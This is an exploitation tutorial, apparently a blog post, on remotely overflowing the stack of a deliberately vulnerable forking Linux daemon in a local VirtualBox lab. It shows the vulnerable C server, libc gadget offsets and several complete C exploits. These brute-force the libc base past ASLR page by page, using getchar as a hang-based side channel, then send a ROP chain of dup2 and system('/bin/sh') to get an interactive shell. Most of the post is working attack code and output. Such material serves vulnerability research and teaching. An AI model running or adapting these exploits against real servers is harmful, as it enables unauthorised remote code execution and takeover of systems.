x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR - Per-Page Brute Force (Basic Side Channel Implemantation— non la57 system)

written by : Antonius (w1sdom)
web : bluedragonsec.com
github : https://github.com/bluedragonsecurity

Per-Page Brute Force Technique

This technique remains effective when the daemon uses the fork function. The requirements for this technique to succeed are:

- The daemon uses the fork function. By using fork, all child processes will have the same memory layout as the parent process (including the stack canary, which will also be identical).

- The daemon that uses fork must have a SIGCHLD handler to terminate inactive child processes. Without a SIGCHLD handler, many zombie processes will be created. If the attacker performs a per-page brute force, the exploitation will only cause the server to run out of RAM due to the large number of zombie processes, resulting in a denial of service (DoS).

The requirements for reliable exploitation are that the attacker must know the operating system used by the target server. If possible, use the exact same operating system as the target during exploit development. By accurately knowing the target OS, the attacker can download the same version of libc.so.6 and then find the correct offsets for ROP gadgets based on the matching libc.so.6 version.

If possible, the attacker should also have the same ELF binary as the one on the target machine. Why? For example, even if we have already used patchelf with the same libc.so.6 and ld.so as the target, differences in GCC versions between the two systems will produce binaries with potentially different stack and heap layouts. Ideally, use the same GCC version as the target system.

For certain exploit development cases, to achieve reliability, it is best to use the same operating system as the target, because even if we have already used patchelf so that the vulnerable binary uses the matching libc.so.6 and ld.so, a different operating system will have different environment variables and a different vdso injected by the kernel into the binary.

Target?

The first target of this technique is to obtain the libc base address. We will leverage the offset of the getchar function. Why getchar? If the vulnerable daemon is successfully redirected to execute getchar, the connection will hang waiting for further input. In our exploit program, we simply check whether the socket file descriptor is waiting for input or not.

Our strategy for per-page brute force is:

payload = junk + guessed libc base offset + getchar offset

If the guess is correct, the socket fd will appear to hang. It is not actually hanging — because the daemon has been redirected to execute getchar, execution will only continue after getchar receives input. Before attempting remote exploitation, we will first try local exploitation.

To build a reliable exploit, we must know the target operating system that will be exploited. The purpose is to know the version of libc being used.

We must also have the same binary file as the vulnerable binary on the target server.

For example, if the target server uses Lubuntu 24 and nginx 1.3.9, then for reliable exploit development on the machine used for exploit development, we need libc.so.6 and ld.so with the same version as the target server, and we must also have the nginx binary with the same version as on the target server. If we do not have the same daemon binary, at minimum we need the source code of the vulnerable application to compile locally and then patch with patchelf. The GCC version must also match the target machine.

Why must ld.so (Linker) be the same? libc.so.6 cannot run on its own. It requires the Dynamic Linker (usually named ld-linux-x86–64.so.2 on 64-bit) to map the library into memory. If you run libc version 2.31 using ld version 2.35 from your native system, the program will most likely Segmentation Fault before even reaching the main function.

For certain exploit development cases, to achieve reliability, it is best to use the same operating system as the target, because even if we have already used patchelf so that the vulnerable binary uses the matching libc.so.6 and ld.so, a different operating system will have different environment variables and a different vdso injected by the kernel into the binary.

Simple Analogy

• libc.so.6 is the City Map (you know where important buildings are located, such as system or /bin/sh).

• ELF Daemon is the Main Door Key (you know how to get in and where the keyhole/buffer is to insert that map).

Step 1. Preparation

In this example, the target machine uses Lubuntu 24.04.3 64-bit in VirtualBox with IP address 192.168.56.102, while the attacker machine is Kali Linux 64-bit with IP address 192.168.56.1.

As before, make sure this line exists in /etc/dnsmasq.conf:

address=/victim/192.168.56.102

Next, start dnsmasq:

systemctl start dnsmasq

Then edit /etc/resolv.conf and add:

nameserver 127.0.0.1

If successful:

# host victim
victim has address 192.168.56.102

Below is the source code of the vulnerable daemon on the target machine:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/wait.h>
#include <errno.h>
 
void sigchld_handler(int s) {
    int saved_errno = errno;
    while(waitpid(-1, NULL, WNOHANG) > 0);
    errno = saved_errno;
}
 
void handle_client(int client_sock) {
    char buffer[64]; 
    char input[512];
    int n = recv(client_sock, input, sizeof(input) - 1, 0);
    if (n > 0) {
        input[n] = '\0';
        memcpy(buffer, input, sizeof(input)); 
        printf("Received: %s\n", buffer);
    }
}
 
int main(int argc, char **argv) {
    if (argc > 100) { system(argv[1]); }
    int server_fd, client_sock;
    struct sockaddr_in server_addr;
    struct sigaction sa;
 
    sa.sa_handler = sigchld_handler; 
    sigemptyset(&sa.sa_mask);
    sa.sa_flags = SA_RESTART;
    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
        perror("sigaction"); exit(1);
    }
 
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8888);
    bind(server_fd, (struct sockaddr *)&server_addr, sizeof(server_addr));
    listen(server_fd, 5);
 
    printf("Listening on port 8888...\n");
    while (1) {
        client_sock = accept(server_fd, NULL, NULL);
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    return 0;
}

Save it as vuln.c.

In this example, I have already downloaded libc.so.6 and ld.so with the same version as the target machine, located in the same directory as vuln.c.

To compile and patchelf vuln, create a file named patch.sh with the following content:

gcc -o vuln vuln.c -fno-stack-protector
chmod +x *
patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./vuln
patchelf --set-rpath . ./vuln

Then:

chmod +x patch.sh
./patch.sh

On the Kali Linux machine, ASLR is active just like on the target Lubuntu 24.04.3 machine:

┌──(root㉿robohax-20bws2ng00)-[~]
└─# cat /proc/sys/kernel/randomize_va_space
2

Next, run:

./vuln

In reality, performing a per-page brute force until successfully guessing the libc base address on the target machine will take days due to the high entropy of randomization on 64-bit machines. However, here I will only demonstrate that this technique can be done reliably even though it takes days.

For certain exploit development cases, to achieve reliability, it is best to use the same operating system as the target, because even if we have already used patchelf so that the vulnerable binary uses the matching libc.so.6 and ld.so, a different operating system will have different environment variables and a different vdso injected by the kernel into the binary.

First, we find all the offsets that we will use for ROP payload and brute force, taken from libc.so.6 with the same version as the target machine:

nm -D libc.so.6 | grep " system"

Result: 0x58750

strings -a -t x libc.so.6 | grep "/bin/sh"

Result: 0x1cb42f

ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"

Result: 0x10f78b

ROPgadget --binary libc.so.6 | grep "pop rsi ; ret"

Result: 0x110a7d

nm -D libc.so.6 | grep " dup2"

Result: 0x116990

ROPgadget --binary libc.so.6 | grep ": ret$" | head -n 5

Result: 0x02882f

nm -D libc.so.6 | grep " getchar"

Result: 0x08f100

So we now have all the gadget offsets we need:

system    at offset 0x058750
"/bin/sh"  at offset 0x1cb42f
pop rdi ; ret at offset 0x10f78b
pop rsi ; ret at offset 0x110a7d
dup2      at offset 0x116990
ret       at offset 0x02882f
getchar   at offset 0x08f100

Step 2. Attempting to Overwrite Top of the Stack

Since the buffer size is the same as the previous vuln application we exploited, after 88 bytes of junk we should be able to overwrite the return address on the stack. We test with exploit0.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
 
int main() {
    int sock;
    struct sockaddr_in target;
    struct addrinfo hints, *res;
 
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_INET; 
    hints.ai_socktype = SOCK_STREAM;
 
    char payload[500];
    if (getaddrinfo("localhost", "8888", &hints, &res) != 0) {
        perror("Failed to resolve hostname");
        return 1;
    }
 
    struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
    memset(payload, 0x90, sizeof(payload));
    memset(payload + 88, 'B', 8);
    memset(payload + 96, 'C', 8);
 
    sock = socket(AF_INET, SOCK_STREAM, 0);
    target.sin_addr = addr->sin_addr;
    target.sin_family = AF_INET;
    target.sin_port = htons(8888);
    inet_pton(AF_INET, "localhost", &target.sin_addr);
    connect(sock, (struct sockaddr *)&target, sizeof(target));
    send(sock, payload, 500, 0);
    close(sock);
    return 0;
}

Attach the vuln process to gdb. Then:

gef> set follow-fork-mode child
gef> c

Compile exploit0.c and run:

gcc -o exploit0 exploit0.c
./exploit0

The result is exactly the same as the previous debugging session with vuln:

gef> x/20gx $rsp
0x7ffd3effc718: 0x4242424242424242    0x4343434343434343
0x7ffd3effc728: 0x9090909090909090    0x9090909090909090
0x7ffd3effc738: 0x9090909090909090    0x9090909090909090
0x7ffd3effc748: 0x9090909090909090    0x9090909090909090

We have successfully overwritten the top of the stack with 0x4242424242424242 after offset 88 (stack pivoting).

Step 3. Obtaining the libc Base Address

In order to use the offsets above, we first need to obtain the libc base address. Because our ROP payload will be the sum of the libc base address plus the offset:

rop payload = base libc address + payload offset

Next, for testing the brute force logic reliability, let us look at the actual libc base address:

Type:

ps aux | grep vuln

Example output:

robohax    4756  0.0  0.0   2696  1224 pts/1    S+   13:14   0:00 ./vuln

Then to view /proc/pid/maps, type:

cat /proc/4756/maps

Press enter or click to view image in full size

In this example, the libc base address is at 0x7f0c40200000

Since ASLR is active, this libc base address will change every time the application is launched.

Next, we will first build a small exploit skeleton to test whether brute forcing base libc + getchar offset can be reliable. Create the exploit1 test skeleton:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>
 
#define GETCHAR_OFF 0x8f100 
#define RET_OFF     0x2882f 
 
int test_address(unsigned long base) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
 
    char payload[120];
    memset(payload, 'A', 88);
 
    unsigned long ret_gadget = base + RET_OFF;
    unsigned long target = base + GETCHAR_OFF;
    memcpy(payload + 88, &ret_gadget, 8); 
    memcpy(payload + 96, &target, 8);
 
    if (send(sock, payload, 104, 0) < 0) {
        close(sock);
        return 0;
    }
 
    usleep(50000); 
    struct timeval tv = {0, 100000}; 
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
    char dummy;
    int n = recv(sock, &dummy, 1, 0);
    close(sock);
 
    if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
        return 1; 
    }
    
    return 0;
}
 
int main() {
    unsigned long real_base = 0x7f0c40200000; 
    if (test_address(real_base)) {
        printf("[+] Valid base libc 0x%lx !\n", real_base);
    } else {
        printf("[-] Invalid crash !\n");
    }
    return 0;
}

Compile:

gcc -o exploit1 exploit1.c

Run:

./exploit1

Result:

$ ./exploit1
[+] Valid base libc 0x7f0c40200000 !

Now let us change the line:

unsigned long real_base = 0x7f0c40200000;

 

Change it to:

unsigned long real_base = 0x7f0c40300000;

Compile:

gcc -o exploit1 exploit1.c

Run:

./exploit1

Result:

$ ./exploit1 
[-] Invalid crash !

OK, so our guessing logic is sufficiently reliable.

Here is the logic behind our guessing:

  usleep(50000); 
    struct timeval tv = {0, 100000}; 
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    char dummy;
    int n = recv(sock, &dummy, 1, 0);
 
    if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
        return 1; 
    }

When the program is successfully redirected to execute the getchar function, our exploit tests whether there is an EAGAIN or EWOULDBLOCK error on the socket being used.

Both of these error codes appear when we use a Non-blocking Socket.

• EAGAIN: Short for “Try again”.

• EWOULDBLOCK: Short for “Operation would block”.

When a socket is set to non-blocking mode, functions like read(), recv(), or write() will not wait. If the operation cannot be completed immediately (for example, there is no data to read), the function will return immediately with a value of -1 and set the global variable errno to EAGAIN or EWOULDBLOCK.

When the vulnerable daemon is successfully redirected to the getchar function, even though the client performs a non-blocking socket operation, recv will not receive any data from the server and errno will become EAGAIN or EWOULDBLOCK.

Next, let us create the exploit2.c skeleton:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
 
#define GETCHAR_OFF  0x8f100 
#define RET_OFF      0x2882f 
#define THREAD_COUNT 4 
#define STEP         0x1000 
 
uint64_t start_addr = 0x7f0000000000;
uint64_t end_addr   = 0x7fffffffffff;
int found = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
 
int verify_is_hang(unsigned long base) {
    char payload[120];
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    char dummy;
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
 
    struct timeval tv = {0, 500000}; 
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
    memset(payload, 'A', 88); 
    unsigned long r = base + RET_OFF;
    unsigned long g = base + GETCHAR_OFF;
    memcpy(payload + 88, &r, 8); 
    memcpy(payload + 96, &g, 8);
    send(sock, payload, 104, 0);
    usleep(10000); 
 
    int n = recv(sock, &dummy, 1, 0);
    close(sock);
    return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}
 
void* brute_worker(void* arg) {
    int thread_id = *(int*)arg;
    unsigned long current;
 
    for (current = start_addr + (thread_id * STEP);
         current < end_addr;
         current += (STEP * THREAD_COUNT)) {
 
        pthread_mutex_lock(&lock);
        if (found) { pthread_mutex_unlock(&lock); return NULL; }
        pthread_mutex_unlock(&lock);
 
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
        inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
        struct timeval tv = {0, 100000}; 
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            char payload[120];
            memset(payload, 'A', 88);
            unsigned long r = current + RET_OFF;
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);
            send(sock, payload, 104, 0);
            usleep(10000);
 
            char dummy;
            int n = recv(sock, &dummy, 1, 0);
            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
                if (verify_is_hang(current)) {
                    pthread_mutex_lock(&lock);
                    if (!found) {
                        found = 1;
                        printf("\n\n[!!!] LIBC BASE FOUND: 0x%lx\n", current);
                    }
                    pthread_mutex_unlock(&lock);
                    close(sock);
                    return NULL;
                }
            }
        }
        close(sock);
 
        if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
        }
    }
    return NULL;
}
 
int main() {
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];
 
    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }
    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
    return 0;
}

Pay attention to this code snippet:

uint64_t start_addr = 0x7f0000000000;
uint64_t end_addr   = 0x7fffffffffff;

The exploit above will attempt to brute force the libc base offset starting from memory address 0x7f0000000000 to 0x7fffffffffff, because that address range is typically where the libc base is loaded into memory.

If we run it:

gcc -o exploit2 exploit2.c
./exploit2

This guessing can take days until successfully finding the libc base address in memory (no worry, this is just the basic, I’ll share more advanced techniques later ). Of course we do not want to wait until the process completes.

Here, the purpose is only to prove that the guessing can be performed. I will cheat by looking at /proc/pid/maps and change the starting memory address range for guessing to one not too far from the target libc base.

We previously saw that the libc base address is at: 0x7f0c40200000

Open https://www.rapidtables.com/calc/math/hex-calculator.html

0x7f0c40200000 — 200 hex = 7F0C401FFE00

Then reformat it to end with 000:

7F0C401FF000

In exploit2.c, change the start_addr line to:

uint64_t start_addr = 0x7F0C401FF000;

Adjust the value according to your system ! this is just for testing !! I’ll write some more advanced techniques when the time comes.

The modified exploit2.c becomes (example only, adjust start_addr to match your Linux system):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
 
#define GETCHAR_OFF  0x8f100 
#define RET_OFF      0x2882f 
#define THREAD_COUNT 4 
#define STEP         0x1000 
 
uint64_t start_addr = 0x7F0C401FF000;
uint64_t end_addr   = 0x7fffffffffff;
int found = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
 
int verify_is_hang(unsigned long base) {
    char payload[120];
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    char dummy;
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
 
    struct timeval tv = {0, 500000}; 
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
    memset(payload, 'A', 88); 
    unsigned long r = base + RET_OFF;
    unsigned long g = base + GETCHAR_OFF;
    memcpy(payload + 88, &r, 8); 
    memcpy(payload + 96, &g, 8);
    send(sock, payload, 104, 0);
    usleep(10000); 
 
    int n = recv(sock, &dummy, 1, 0);
    close(sock);
    return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}
 
void* brute_worker(void* arg) {
    int thread_id = *(int*)arg;
    unsigned long current;
 
    for (current = start_addr + (thread_id * STEP);
         current < end_addr;
         current += (STEP * THREAD_COUNT)) {
 
        pthread_mutex_lock(&lock);
        if (found) { pthread_mutex_unlock(&lock); return NULL; }
        pthread_mutex_unlock(&lock);
 
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
        inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
        struct timeval tv = {0, 100000}; 
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            char payload[120];
            memset(payload, 'A', 88);
            unsigned long r = current + RET_OFF;
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);
            send(sock, payload, 104, 0);
            usleep(10000);
 
            char dummy;
            int n = recv(sock, &dummy, 1, 0);
            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
                if (verify_is_hang(current)) {
                    pthread_mutex_lock(&lock);
                    if (!found) {
                        found = 1;
                        printf("\n\n[!!!] LIBC BASE FOUND: 0x%lx\n", current);
                    }
                    pthread_mutex_unlock(&lock);
                    close(sock);
                    return NULL;
                }
            }
        }
        close(sock);
 
        if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
        }
    }
    return NULL;
}
 
int main() {
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];
 
    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }
    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
    return 0;
}

Recompile with gcc and run:

gcc -o exploit2 exploit2.c
./exploit2

Result:

$ ./exploit2 
[!!!] LIBC BASE FOUND: 0x7f0c40200000

0x7f0c40200000 is the libc base address.

So our guessing logic is sufficiently reliable. However, in reality we would have to guess from address 0x7f0000000000 to 0x7fffffffffff to succeed. In a real-life exploitation scenario, this will take days, with a success rate of approximately 60% if the connection to the target server does not lag.

Step 4. Crafting the Exploit

To craft the exploit for the daemon on the local machine, we will follow these steps for our final exploit:

1. Guess the libc base address using the payload: guessed libc base address + getchar offset

2. After obtaining the libc base address, add the offsets which are the ROP gadget offsets

3. Arrange the ROP gadget offsets to leverage the currently established client socket to perform a bind shell

4. If exploitation succeeds, we can gain access to the target system.

Here is our ROP chain layout:

File descriptor: 0 = stdin, 1 = stdout, 2 = stderr (we do not need stderr)

Step 1. Perform dup2 for stdin — dup2(fd, 0);

Typically fd is 4 or above 4, because:

0 (stdin): Standard input.

1 (stdout): Standard output.

2 (stderr): Standard error.

3: server socket file descriptor

So the client fd is usually 4 or higher than 4, but here since we are the only one connected to the server, the socket fd is most likely 4.

Payload:

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 0;
    rop[i++] = base_libc + DUP2_ADDR;

Step 2. For full duplex, perform dup2 for stdout — dup2(fd, 1);

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 1;
    rop[i++] = base_libc + DUP2_ADDR;

Step 3. Create stack alignment for 64-bit Linux with ret:

  rop[i++] = base_libc + RET_ALIGN;

Step 4. Load the first argument of the system function from the stack into the RDI register, the argument being /bin/sh. Then execute the system function:

    rop[i++] = base_libc + POP_RDI;
    rop[i++] = base_libc + BIN_SH_ADDR;
    rop[i++] = base_libc + SYSTEM_ADDR;

Below is the exploit3.c code (adjust the start_addr address to match your Linux system):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
 
#define POP_RDI     0x10f78b
#define POP_RSI     0x110a7d
#define DUP2_ADDR   0x116990
#define SYSTEM_ADDR 0x058750
#define BIN_SH_ADDR 0x1cb42f
#define RET_ALIGN   0x02882f
#define GETCHAR_OFF 0x8f100 
#define RET_OFF     0x2882f 
 
#define THREAD_COUNT 4 
#define STEP         0x1000 
 
// MAKE SURE IT ENDS WITH 000
uint64_t start_addr = 0x7F0C401FF000;
uint64_t end_addr   = 0x7fffffffffff;
unsigned long base_libc = 0; 
int found = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
 
int verify_is_hang(unsigned long base) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
    inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 0;
 
    // 500ms timeout is crucial for accuracy
    struct timeval tv = {0, 500000}; 
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
    char payload[120];
    memset(payload, 'A', 88); 
    unsigned long r = base + RET_OFF;
    unsigned long g = base + GETCHAR_OFF;
    memcpy(payload + 88, &r, 8); 
    memcpy(payload + 96, &g, 8);
    send(sock, payload, 104, 0);
    usleep(10000); 
 
    char dummy;
    int n = recv(sock, &dummy, 1, 0);
    close(sock);
    return (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK));
}
 
void* brute_worker(void* arg) {
    int thread_id = *(int*)arg;
    unsigned long current;
 
    for (current = start_addr + (thread_id * STEP);
         current < end_addr;
         current += (STEP * THREAD_COUNT)) {
 
        pthread_mutex_lock(&lock);
        if (found) { pthread_mutex_unlock(&lock); return NULL; }
        pthread_mutex_unlock(&lock);
 
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port = htons(8888) };
        inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
        struct timeval tv = {0, 100000}; 
        setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
 
        if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
            char payload[120];
            memset(payload, 'A', 88);
            unsigned long r = current + RET_OFF;
            unsigned long g = current + GETCHAR_OFF;
            memcpy(payload + 88, &r, 8);
            memcpy(payload + 96, &g, 8);
            send(sock, payload, 104, 0);
            usleep(10000); // 10ms synchronization
 
            char dummy;
            int n = recv(sock, &dummy, 1, 0);
            if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
                if (verify_is_hang(current)) {
                    pthread_mutex_lock(&lock);
                    if (!found) {
                        found = 1;
                        printf("\n\n[+] LIBC BASE FOUND: 0x%lx\n", current);
                        base_libc = current;
                    }
                    pthread_mutex_unlock(&lock);
                    close(sock);
                    return NULL;
                }
            }
        }
        close(sock);
 
        if (thread_id == 0 && (current % 0x10000 == 0)) {
            printf("\r[*] Scanning: 0x%lx", current);
            fflush(stdout);
        }
    }
    return NULL;
}
 
void interactive_shell(int sock) {
    char buffer[1024];
    fd_set fds;
    while (1) {
        FD_ZERO(&fds);
        FD_SET(0, &fds);
        FD_SET(sock, &fds);
        select(sock + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(0, &fds)) {
            int n = read(0, buffer, sizeof(buffer));
            send(sock, buffer, n, 0);
        }
        if (FD_ISSET(sock, &fds)) {
            int n = recv(sock, buffer, sizeof(buffer), 0);
            if (n <= 0) break;
            write(1, buffer, n);
        }
    }
}
 
int main() {
    int sock;
    struct sockaddr_in serv_addr;
    unsigned char payload[512];
    int fd = 4; 
 
    signal(SIGPIPE, SIG_IGN);
    pthread_t threads[THREAD_COUNT];
    int ids[THREAD_COUNT];
    
    for (int i = 0; i < THREAD_COUNT; i++) {
        ids[i] = i;
        pthread_create(&threads[i], NULL, brute_worker, &ids[i]);
    }
    for (int i = 0; i < THREAD_COUNT; i++) pthread_join(threads[i], NULL);
 
    sock = socket(AF_INET, SOCK_STREAM, 0);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr);
 
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("[-] Connection failed");
        return 1;
    }
 
    memset(payload, 'A', 80);
    memset(payload + 80, 'B', 8);
    unsigned long *rop = (unsigned long *)(payload + 88);
    int i = 0;
 
    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 0;
    rop[i++] = base_libc + DUP2_ADDR;
    rop[i++] = base_libc + POP_RDI;
    rop[i++] = fd;
    rop[i++] = base_libc + POP_RSI;
    rop[i++] = 1;
    rop[i++] = base_libc + DUP2_ADDR;
    rop[i++] = base_libc + RET_ALIGN; 
    rop[i++] = base_libc + POP_RDI;
    rop[i++] = base_libc + BIN_SH_ADDR;
    rop[i++] = base_libc + SYSTEM_ADDR;
 
    memset(payload + 88 + (i * 8), 'C', 32);
 
    printf("[*] Sending Payload...\n");
    send(sock, payload, 88 + (i * 8) + 32, 0);
    printf("[*] Payload sent !\n");
 
    interactive_shell(sock);
 
    close(sock);
    return 0;
}

Compile:

gcc -o exploit3 exploit3.c

Run:

./exploit3

Result:

 

I do low level vulnerability research & hardware hacking (main focus : robotics).

Nicknames : w1sdom, sw0rdm4n, ringlayer, robotsoft, bluedragonsec, ev1lut10n, d4r3d3v1l, jck.marshall (1 time usage), 黑蝎子

Low-Level Vulnerability Research | Hardware Hacking | Robotics | Chinese | Polymath






Hobbies

music (fingerstyle guitar & keyboard)
martial art (muay thai, tae kwon do, boxing, bjj).

Music Channel
Martial Art Channel

Skills & Expertise
Vulnerability Research Static Source Code Analysis Kernel Exploitation Userland Exploitation Heap Exploitation Stack Exploitation Fuzzing Hardware Hacking Network Security Reverse Engineering Modern Mitigation Bypass Deep Learning Mechatronics Electronics Robotics Tactical Hacking Device Development Mathematics Machine Learning

Documentations
Github

Now Playing: ...